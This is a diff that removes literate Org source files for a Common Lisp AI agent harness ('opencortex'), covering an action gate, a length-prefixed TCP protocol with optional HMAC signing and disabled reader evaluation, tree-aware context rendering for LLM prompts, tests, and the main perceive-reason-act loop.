-** The Act Gate
-The final stage of the metabolic loop. It performs a "last-mile" safety check before dispatching the action to the registered actuator.
-
-#+begin_src lisp :tangle ../src/act.lisp
-(defun act-gate (signal)
-  "Final Stage: Actuation and feedback generation."
-  (let* ((approved (getf signal :approved-action))
-         (type (getf signal :type))
-         (feedback nil))
-    
-    ;; 1. Last-Mile Safety Check (The Bouncer & Deterministic Gates)
-    (when approved
-      (let ((verified (deterministic-verify approved signal)))
-        (if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT :log :event)))
-            (progn
-              (harness-log "ACT BLOCKED: Action failed last-mile deterministic check.")
-              (setf (getf signal :approved-action) nil)
-              (setf approved nil)
-              (setf feedback verified))
-            (progn
-              (setf (getf signal :approved-action) verified)
-              (setf approved verified)))))
-
-    ;; 2. Actuation Logic
-    (case type
-      (:REQUEST (dispatch-action signal signal))
-      (:EVENT 
-       (when approved
-         (let* ((target (getf approved :target))
-                (result (dispatch-action approved signal)))
-           ;; If the actuator returns a signal (like :tool-output), it becomes the feedback.
-           ;; Otherwise, generate tool-output feedback for non-silent actuators.
-           (cond ((and (listp result) (member (getf result :type) '(:EVENT :LOG)))
-                  (setf feedback result))
-                 ((and result (not (member target *silent-actuators*)))
-                  (setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) 
-                                       :reply-stream (getf signal :reply-stream)
-                                       :payload (list :sensor :tool-output :result result :tool approved)))))))))
-    
-    (setf (getf signal :status) :acted)
-    feedback))
-#+end_src

literate/communication.org

@@ -1,133 +0,0 @@
-#+TITLE: Communication Protocol (communication.lisp)
-#+AUTHOR: Amr
-#+FILETAGS: :harness:protocol:
-#+STARTUP: content
-
-* Communication Protocol (communication.lisp)
-** Architectural Intent: Secure Inter-Process Communication & Deterministic Framing
-
-The **communication protocol** defines the exact physical and semantic boundaries for how the isolated Lisp environment talks to the outside world.
-
-The system operates as a perfectly deterministic, highly secure computational engine. When communicating with external processes or actuators—such as an Emacs client, a web dashboard, or a remote Shell script—it cannot rely on unpredictable, "loose" data streams. 
-
-Streaming raw Lisp or JSON over a TCP socket is inherently fragile. If a multi-megabyte Org Abstract Syntax Tree (AST) is fragmented by the operating system's network stack during transmission, a standard stream parser might attempt to evaluate an incomplete string, leading to immediate crashes or desynchronization.
-
-To solve this, we implement the **communication protocol**, which enforces absolute deterministic boundaries around every message.
-
-*** 1. Physical Boundary: Hex-Length Prefixing
-Every message crossing the wire is prefixed with a strict 6-character hexadecimal length string (zero-padded). This creates an unbreakable physical boundary. The system reads exactly the number of bytes specified by the hex length. It will never under-read (crashing on a partial form) and never over-read (consuming bytes meant for the next message). 
-
-*** 2. Actuator-Agnosticism ("Dumb Terminal" Architecture)
-The protocol keeps the Lisp environment completely agnostic of its clients. The system does not care if the client is written in Emacs Lisp, Python, or Rust. Any environment capable of calculating a byte length and opening a TCP socket can interface with the Lisp Machine.
-
-*** 3. Preventing Reader Macro Injection
-Common Lisp's ~read-from-string~ is extremely powerful but dangerous; it allows "reader macros" (like ~#.~) which execute code during the parsing phase. The communication protocol mandates that ~*read-eval*~ is explicitly bound to ~nil~ before any network data is parsed, physically preventing arbitrary code execution.
-
-** Message Framing Logic
-#+begin_src mermaid
-flowchart LR
-    subgraph Client
-        A[Lisp Property List] --> B[Calculate Length]
-        B --> C[Hex Prefix: 6 Chars]
-        C --> D[Concatenate: Length + List]
-    end
-    D -- TCP Socket --> System
-    subgraph System
-        System --> E[Read 6 Hex Chars]
-        E --> F[Read Exact Byte Count]
-        F --> G[Parse S-Expression]
-    end
-#+end_src
-
-** Package Context
-We ensure all protocol logic resides within the isolated system namespace.
-
-#+begin_src lisp :tangle ../src/communication.lisp
-(in-package :opencortex)
-#+end_src
-
-** Actuator Registry
-The system maintains a decoupled registry of target actuators. This allows the system to route messages to Emacs, the Shell, or Web Gateways without hardcoding the routing logic into the protocol itself.
-
-#+begin_src lisp :tangle ../src/communication.lisp
-(defvar *actuator-registry* (make-hash-table :test 'equal)
-  "Global registry mapping target keywords to their physical actuator functions.")
-
-(defun register-actuator (name fn) 
-  "Registers an actuator function. Actuators receive: (ACTION CONTEXT)."
-  (setf (gethash name *actuator-registry*) fn))
-#+end_src
-
-** Message Framing (frame-message)
-The ~frame-message~ function prepares an outgoing Lisp string for transmission. It calculates the byte length, converts it into a 6-character padded hex string, and prefixes it. If ~COMMUNICATION_PROTOCOL_ENFORCE_HMAC~ is enabled in the environment, it also prepends a cryptographic signature to ensure the message hasn't been tampered with.
-
-#+begin_src lisp :tangle ../src/communication.lisp
-(defun frame-message (msg-string)
-  "Prefixes MSG-STRING with a 6-character hex length.
-   If security is enabled, prefixes a 64-char HMAC-SHA256 signature."
-  (let ((len (length msg-string))
-        (enforce-hmac (uiop:getenv "COMMUNICATION_PROTOCOL_ENFORCE_HMAC")))
-    (if (and enforce-hmac (string-equal enforce-hmac "true"))
-        (let ((secret (uiop:getenv "COMMUNICATION_PROTOCOL_HMAC_SECRET")))
-          (unless secret (error "COMMUNICATION_PROTOCOL_HMAC_SECRET is required when security is enabled."))
-          (let* ((key (ironclad:ascii-string-to-byte-array secret))
-                 (hmac (ironclad:make-mac :hmac key :sha256))
-                 (payload-bytes (ironclad:ascii-string-to-byte-array msg-string)))
-            (ironclad:update-mac hmac payload-bytes)
-            (let ((signature (ironclad:byte-array-to-hex-string (ironclad:produce-mac hmac))))
-              (format nil "~(~6,'0x~)~a~a" len signature msg-string))))
-        (format nil "~(~6,'0x~)~a" len msg-string))))
-#+end_src
-
-** Message Parsing (parse-message)
-Parsing is the high-security inverse of framing. This function acts as the final perimeter defense. It validates the length, verifies the HMAC integrity, and—most importantly—jails the Lisp reader by disabling ~*read-eval*~. 
-
-#+begin_src lisp :tangle ../src/communication.lisp
-(defun parse-message (framed-string)
-  "Extracts and parses the S-expression from a framed string securely."
-  (when (< (length framed-string) 6)
-    (error "Framed string too short"))
-  (let* ((enforce-hmac (uiop:getenv "COMMUNICATION_PROTOCOL_ENFORCE_HMAC"))
-         (use-hmac (and enforce-hmac (string-equal enforce-hmac "true")))
-         (prefix-len (if use-hmac 70 6)))
-    (when (< (length framed-string) prefix-len)
-      (error "Framed string too short for communication protocol prefix"))
-    
-    (let* ((len-str (subseq framed-string 0 6))
-           (signature (when use-hmac (subseq framed-string 6 70)))
-           (actual-msg (subseq framed-string prefix-len))
-           (expected-len (ignore-errors (parse-integer len-str :radix 16))))
-      (unless expected-len
-        (error "Invalid hex length prefix: ~a" len-str))
-      (unless (= expected-len (length actual-msg))
-        (error "Message length mismatch. Expected ~a, got ~a" expected-len (length actual-msg)))
-      
-      (when use-hmac
-        (let ((secret (uiop:getenv "COMMUNICATION_PROTOCOL_HMAC_SECRET")))
-          (unless secret (error "COMMUNICATION_PROTOCOL_HMAC_SECRET is required when security is enabled."))
-          (let* ((key (ironclad:ascii-string-to-byte-array secret))
-                 (hmac (ironclad:make-mac :hmac key :sha256))
-                 (payload-bytes (ironclad:ascii-string-to-byte-array actual-msg)))
-            (ironclad:update-mac hmac payload-bytes)
-            (let ((expected-signature (ironclad:byte-array-to-hex-string (ironclad:produce-mac hmac))))
-              (unless (string-equal signature expected-signature)
-                (error "communication protocol Integrity Failure: HMAC mismatch"))))))
-      
-      ;; SECURITY: Disable the reader's ability to execute code during parsing
-      (let ((*read-eval* nil))
-        (let ((msg (read-from-string actual-msg)))
-          (validate-communication-protocol-schema msg)
-          msg)))))
-#+end_src
-
-** Handshaking (make-hello-message)
-Every session begins with a standard ~HELLO~ handshake, allowing the system to announce its capabilities and protocol version to the connecting client.
-
-#+begin_src lisp :tangle ../src/communication.lisp
-(defun make-hello-message (version)
-  "Constructs the standard HELLO handshake message."
-  (list :type :EVENT 
-        :payload (list :action :handshake 
-                       :version version 
-                       :capabilities '(:auth :swank :org-ast))))
-#+end_src

literate/context.org

@@ -1,259 +0,0 @@
-#+TITLE: Peripheral Vision (context.lisp)
-#+AUTHOR: Amr
-#+FILETAGS: :harness:context:
-#+STARTUP: content
-
-* Peripheral Vision (context.lisp)
-** Architectural Intent: Context Optimization & The Foveal-Peripheral Hybrid
-
-A common failure mode for Large Language Models (LLMs) is the "Lost in the Middle" phenomenon, where the model's reasoning accuracy degrades as its context window becomes saturated with irrelevant data. Naive approaches to context management—such as simple character-count truncation or sliding windows—often sever the structural relationships that define an Org-mode Memex.
-
-The ~opencortex~ harness implements a deterministic, tree-aware solution: the **Foveal-Peripheral Hybrid Model**.
-
-*** 1. The Foveal Focus (High Resolution)
-When the harness prepares a prompt for the Probabilistic Engine, it identifies a "Foveal Focus"—typically the specific Org headline or task the user is currently interacting with. This node, along with its immediate children and semantically relevant neighbors, is rendered at "High Resolution," meaning its full body text, properties, and metadata are included in the prompt.
-
-*** 2. The Peripheral Vision (Low Resolution)
-To maintain global awareness without bloating the context window, the rest of the Memex is rendered at "Low Resolution." The harness recursively walks the Memory and generates a skeletal outline consisting only of titles and IDs. This gives the LLM a "mental map" of the entire system, allowing it to reference other projects or skills without needing to see their full content until they are explicitly brought into focus.
-
-*** 3. Deterministic Tree-Walking
-By leveraging Common Lisp's strengths in recursive tree manipulation, the harness can surgically prune the AST before it ever reaches the LLM. This ensures that the structural hierarchy of the Memex is preserved perfectly, even when the content is compressed.
-
-** The Context Pipeline
-#+begin_src mermaid
-flowchart TD
-    Store[(Memory)] --> Filter[Context Query Filter]
-    Filter --> Identification{Identify Foveal ID}
-    Identification --> Foveal[Render Focus: Full Content]
-    Identification --> Peripheral[Render Outline: Titles Only]
-    Foveal --> Assembly[Assemble Global Awareness String]
-    Peripheral --> Assembly
-    Assembly --> LLM[Probabilistic Engine Proposal]
-#+end_src
-
-* Context Assembly (context.lisp)
-The ~context.lisp~ module provides the deterministic functional layer for querying the Memory and transforming its internal pointers into the precise context strings required for neural reasoning.
-
-** Package Context
-We begin by ensuring we are executing within the correct isolated package namespace.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(in-package :opencortex)
-#+end_src
-
-** Querying the Store (context-query-store)
-A generalized filter for the Memory. This function allows skills to perform high-level semantic sweeps of the Memex based on tags, TODO states, or Org element types. It returns a list of ~org-object~ structures.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(defun context-query-store (&key tag todo-state type)
-  "Filters the Memory based on tags, todo states, or types."
-  (let ((results nil))
-    (maphash (lambda (id obj)
-               (declare (ignore id))
-               (let* ((attrs (org-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
-                 (when (and type (not (eq (org-object-type obj) type))) (setf match nil))
-                 (when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil)))
-                 (when (and todo-state (not (equal state todo-state))) (setf match nil))
-                 (when match (push obj results))))
-             *memory*)
-    results))
-#+end_src
-
-** Active Projects (context-get-active-projects)
-Identifies headlines tagged with ~project~ that have not yet reached a terminal ~DONE~ state. This provides the primary high-level structure for the agent's global awareness.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(defun context-get-active-projects ()
-  "Returns headlines tagged as 'project' that are not yet marked DONE."
-  (remove-if (lambda (obj) (equal (getf (org-object-attributes obj) :TODO-STATE) "DONE"))
-             (context-query-store :tag "project" :type :HEADLINE)))
-#+end_src
-
-** Completed Tasks (context-get-recent-completed-tasks)
-Retrieves a list of tasks that have reached the terminal ~DONE~ state. This is useful for providing the agent with historical context or for generating summaries of recent work.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(defun context-get-recent-completed-tasks () 
-  "Retrieves recently finished tasks from the store."
-  (context-query-store :todo-state "DONE" :type :HEADLINE))
-#+end_src
-
-** Capability Discovery (context-list-all-skills)
-Provides a sorted list of all currently loaded skills. In a "Self-Writing" environment, the agent must be able to discover and understand its own capabilities. This function provides the metadata necessary for the agent to decide which skill to trigger or how to resolve dependencies.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(defun context-list-all-skills ()
-  "Provides a sorted overview of currently loaded system capabilities."
-  (let ((results nil))
-    (maphash (lambda (name skill)
-               (declare (ignore name))
-               (push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results))
-             *skills-registry*)
-    (sort results #'> :key (lambda (x) (getf x :priority)))))
-#+end_src
-
-** Skill Inspection (context-get-skill-source)
-Reads the raw literate Org source of a specific skill. This is a foundational capability for an agent expected to eventually "self-write" or perform its own maintenance. By reading the literate source, the agent can understand the *intent* behind a skill's logic before proposing a modification. We use the `SKILLS_DIR` environment variable to locate the source files.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(defun context-get-skill-source (skill-name)
-  "Reads the raw literate source of a specific skill for inspection."
-  (let* ((filename (format nil "~a.org" skill-name))
-         (skills-dir-str (or (uiop:getenv "SKILLS_DIR") (namestring (merge-pathnames "notes/" (user-homedir-pathname)))))
-         (skills-dir (uiop:ensure-directory-pathname (context-resolve-path skills-dir-str)))
-         (full-path (merge-pathnames filename skills-dir)))
-    (if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
-#+end_src
-
-** Harness Logs (context-get-system-logs)
-Retrieves the most recent entries from the harness's internal circular log buffer. This allows the Probabilistic Engine to see recent errors or successful dispatches, enabling it to course-correct or explain failures to the user. The log limit is externalized to `CONTEXT_LOG_LIMIT`.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(defun context-get-system-logs (&optional limit)
-  "Retrieves the most recent lines from the harness's internal log."
-  (let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20)))
-    (bt:with-lock-held (*logs-lock*)
-      (let ((count (min log-limit (length *system-logs*)))) 
-        (subseq *system-logs* 0 count)))))
-#+end_src
-
-** AST to Org Rendering (context-render-to-org)
-This is the core engine of the Foveal-Peripheral model. It recursively transforms the internal ~org-object~ graph back into an Org-mode string. 
-
-It implements the following deterministic logic:
-1.  **Depth 1 & 2:** Always rendered (High-level mental map).
-2.  **Foveal Node:** Rendered with full body content.
-3.  **Semantic Neighbors:** Rendered with full content if their similarity score exceeds the threshold.
-4.  **Peripheral Nodes:** Rendered as skeletal headlines (titles and IDs only).
-
-The semantic threshold is externalized to `CONTEXT_SEMANTIC_THRESHOLD`.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(defun context-render-to-org (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil))
-  "Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model."
-  (let* ((id (org-object-id obj))
-         (is-foveal (equal id foveal-id))
-         (title (or (getf (org-object-attributes obj) :TITLE) "Untitled"))
-         (content (org-object-content obj))
-         (children (org-object-children obj))
-         (stars (make-string depth :initial-element #\*))
-         (obj-vector (org-object-vector obj))
-         (threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75))
-         (similarity (if (and foveal-vector obj-vector (not is-foveal))
-                         (cosine-similarity foveal-vector obj-vector)
-                         0.0))
-         (is-semantically-relevant (>= similarity threshold))
-         ;; We always render depth 1 and 2 (Projects and main tasks).
-         ;; We always render the foveal node and its immediate children.
-         ;; We render deeper nodes ONLY if they are semantically relevant.
-         (should-render (or (<= depth 2) is-foveal is-semantically-relevant))
-         (output ""))
-    
-    (when should-render
-      (setf output (format nil "~a ~a~%:PROPERTIES:~%:ID: ~a~%" stars title id))
-      (when is-semantically-relevant
-        (setf output (concatenate 'string output (format nil ":SEMANTIC_SCORE: ~,2f~%" similarity))))
-      (setf output (concatenate 'string output (format nil ":END:~%")))
-      
-      ;; Only include full body content if this is the Foveal focus or highly relevant
-      (when (and content (or is-foveal is-semantically-relevant))
-        (setf output (concatenate 'string output content (string #\Newline))))
-      
-      ;; Recursively render children
-      (dolist (child-id children)
-        (let ((child-obj (lookup-object child-id)))
-          (when child-obj
-            ;; If the current node is Foveal, its children should be rendered (depth effectively resets)
-            (let ((next-foveal (if is-foveal child-id foveal-id)))
-              (setf output (concatenate 'string output 
-                                        (context-render-to-org child-obj 
-                                                               :depth (1+ depth) 
-                                                               :foveal-id next-foveal
-                                                               :semantic-threshold threshold
-                                                               :foveal-vector foveal-vector))))))))
-    output))
-#+end_src
-
-** Path Resolution (context-resolve-path)
-A utility function that expands environment variables (like ~$HOME~ or ~$MEMEX_ROOT~) within path strings. This ensures that the agent can interact with files across different machine configurations without hardcoding absolute paths. This version is more robust, supporting multiple environment variables throughout the string.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(defun context-resolve-path (path-string)
-  "Expands all environment variables ($VAR) within a path string."
-  (if (and (stringp path-string) (search "$" path-string))
-      (let ((result path-string))
-        (ppcre:do-register-groups (var-name) ("\\$([A-Za-z0-9_]+)" path-string)
-          (let ((var-val (uiop:getenv var-name)))
-            (when var-val
-              (setf result (ppcre:regex-replace (format nil "\\$~a" var-name) result var-val)))))
-        result)
-      path-string))
-#+end_src
-
-** Global Awareness (context-assemble-global-awareness)
-The primary entry point for context generation. This function identifies active projects and the current user focus (captured during the Perceive stage), then invokes the recursive renderer to assemble the pruned Org-mode skeletal outline sent to the LLM.
-
-#+begin_src lisp :tangle ../src/context.lisp
-(defun context-assemble-global-awareness (&optional signal)
-  "Produces a high-level skeletal outline of the current Memory for the LLM."
-  (let* ((foveal-id (or (getf signal :foveal-focus) 
-                        (ignore-errors (getf (getf signal :payload) :target-id))))
-         (projects (context-get-active-projects))
-         (output "GLOBAL MEMEX AWARENESS (Peripheral Vision):
-"))
-    (if projects
-        (dolist (project projects)
-          (setf output (concatenate 'string output
-                                    (context-render-to-org project :foveal-id foveal-id))))
-        (setf output (concatenate 'string output "No active projects found.~%")))
-    output))
-#+end_src
-
-* Phase E: Chaos (Verification)
-Following the Engineering Standards, the peripheral vision extraction and rendering logic must be empirically verified. 
-
-** Test Suite Context
-#+begin_src lisp :tangle ../tests/peripheral-vision-tests.lisp
-(defpackage :opencortex-peripheral-vision-tests
-  (:use :cl :fiveam :opencortex)
-  (:export #:vision-suite))
-(in-package :opencortex-peripheral-vision-tests)
-
-(def-suite vision-suite
-  :description "Verification of Foveal-Peripheral context model.")
-(in-suite vision-suite)
-#+end_src
-
-** Foveal Rendering Test
-Verify that the foveal target is rendered with content, while siblings are skeletal.
-
-#+begin_src lisp :tangle ../tests/peripheral-vision-tests.lisp
-(test test-foveal-rendering
-  "Verify that the foveal target is rendered with content, while siblings are skeletal."
-  (clrhash opencortex::*memory*)
-  (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS "project")
-                :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
-                            :raw-content "FOVEAL CONTENT" :contents nil)
-                           (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
-                            :raw-content "PERIPHERAL CONTENT" :contents nil)))))
-    (ingest-ast ast)
-    ;; Test both foveal focus in signal top-level and in payload (legacy)
-    (let ((output (context-assemble-global-awareness (list :foveal-focus "node-foveal"))))
-      (is (search "FOVEAL CONTENT" output))
-      (is (search "* Peripheral Node" output))
-      (is (not (search "PERIPHERAL CONTENT" output))))))
-#+end_src
-
-** Awareness Budget Test
-Verify that context-assemble-global-awareness handles multiple projects correctly.
-
-#+begin_src lisp :tangle ../tests/peripheral-vision-tests.lisp
-(test test-awareness-budget
-  "Verify that context-assemble-global-awareness handles multiple projects."
-  (clrhash opencortex::*memory*)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS "project") :contents nil))
-  (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS "project") :contents nil))
-  (let ((output (context-assemble-global-awareness)))
-    (is (search "Project 1" output))
-    (is (search "Project 2" output))))
-#+end_src

literate/loop.org

@@ -1,99 +0,0 @@
-#+TITLE: The Metabolic Loop (loop.lisp)
-#+AUTHOR: Amr
-#+FILETAGS: :harness:loop:
-#+STARTUP: content
-
-* The Metabolic Loop (loop.lisp)
-** Architectural Intent: The Heartbeat
-The Metabolic Loop is the high-level coordinator of the OpenCortex. It orchestrates the flow of energy (information) through the system by calling the three metabolic stages in sequence:
-1. **Perceive:** Sensory intake.
-2. **Reason:** Cognitive processing.
-3. **Act:** Physical side-effects.
-
-** Package and Variables
-The loop requires thread-safe interrupt handling to ensure that the agent can be stopped gracefully without leaving the Lisp image in an inconsistent state.
-
-#+begin_src lisp :tangle ../src/loop.lisp
-(in-package :opencortex)
-
-(defvar *interrupt-flag* nil)
-(defvar *interrupt-lock* (bt:make-lock "harness-interrupt-lock"))
-(defvar *heartbeat-thread* nil)
-#+end_src
-
-** The Metabolic Pipeline
-The `process-signal` function is the core metabolic processor. It iterates through the Perceive-Reason-Act gates until the signal is fully processed or an error state is reached. We have refined the error handling to ensure that memory rollbacks only occur on critical system failures, preventing transient tool errors from wiping short-term cognitive state.
-
-#+begin_src lisp :tangle ../src/loop.lisp
-(defun process-signal (signal)
-  "The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
-  (let ((current-signal signal))
-    (loop while current-signal do
-      (let ((depth (getf current-signal :depth 0)))
-        (when (> depth 10) (harness-log "METABOLISM ERROR: Max depth reached.") (return nil))
-        (when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*)
-          (harness-log "METABOLISM: Interrupted.")
-          (bt:with-lock-held (*interrupt-lock*) (setf *interrupt-flag* nil))
-          (return nil))
-        (handler-case
-            (progn
-              (setf current-signal (perceive-gate current-signal))
-              (setf current-signal (reason-gate current-signal))
-              (setf current-signal (act-gate current-signal)))
-          (error (c)
-            (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
-              (harness-log "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
-              ;; Only rollback on critical errors, not standard tool or loop errors
-              (unless (member sensor '(:loop-error :tool-error :syntax-error))
-                (harness-log "CRITICAL ERROR: Initiating Micro-Rollback.")
-                (rollback-memory 0))
-              (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
-                  (setf current-signal nil)
-                  (setf current-signal (list :type :EVENT :depth (1+ depth) :reply-stream (getf current-signal :reply-stream)
-                                             :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
-#+end_src
-
-** Heartbeat Mechanism
-The heartbeat ensures the agent remains "alive" even in the absence of external stimuli, allowing for latent reflection and periodic maintenance. The interval is externalized to the `HEARTBEAT_INTERVAL` environment variable.
-
-#+begin_src lisp :tangle ../src/loop.lisp
-(defun start-heartbeat ()
-  "Starts the background heartbeat thread. Interval is loaded from HEARTBEAT_INTERVAL."
-  (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60)))
-    (setf *heartbeat-thread* 
-          (bt:make-thread 
-           (lambda () 
-             (loop 
-               (sleep interval) 
-               ;; inject-stimulus is synchronous for heartbeats, preventing accumulation.
-               (inject-stimulus (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time)))))) 
-           :name "opencortex-heartbeat"))))
-#+end_src
-
-** Main Entry Point
-The `main` function initializes the environment, loads skills, and starts the heartbeat. It now includes a graceful shutdown handler for `SIGINT` (Ctrl+C) and uses `DAEMON_SLEEP_INTERVAL` to control its idle rhythm.
-
-#+begin_src lisp :tangle ../src/loop.lisp
-(defun main ()
-  "Entry point for the Skeleton MVP. Handles initialization and graceful shutdown."
-  (let* ((home (uiop:getenv "HOME"))
-         (env-file (uiop:merge-pathnames* ".local/share/opencortex/.env" (uiop:ensure-directory-pathname home))))
-    (when (uiop:file-exists-p env-file) (cl-dotenv:load-env env-file)))
-  
-  (initialize-actuators)
-  (initialize-all-skills)
-  (start-heartbeat)
-  
-  ;; Graceful shutdown handler for SBCL
-  #+sbcl
-  (sb-sys:enable-interrupt sb-unix:sigint 
-                           (lambda (sig code scp) 
-                             (declare (ignore sig code scp)) 
-                             (harness-log "SHUTDOWN: SIGINT received. Exiting...")
-                             (uiop:quit 0)))
-
-  (let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600)))
-    (loop 
-      (when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*) (return))
-      (sleep sleep-interval))))
-#+end_src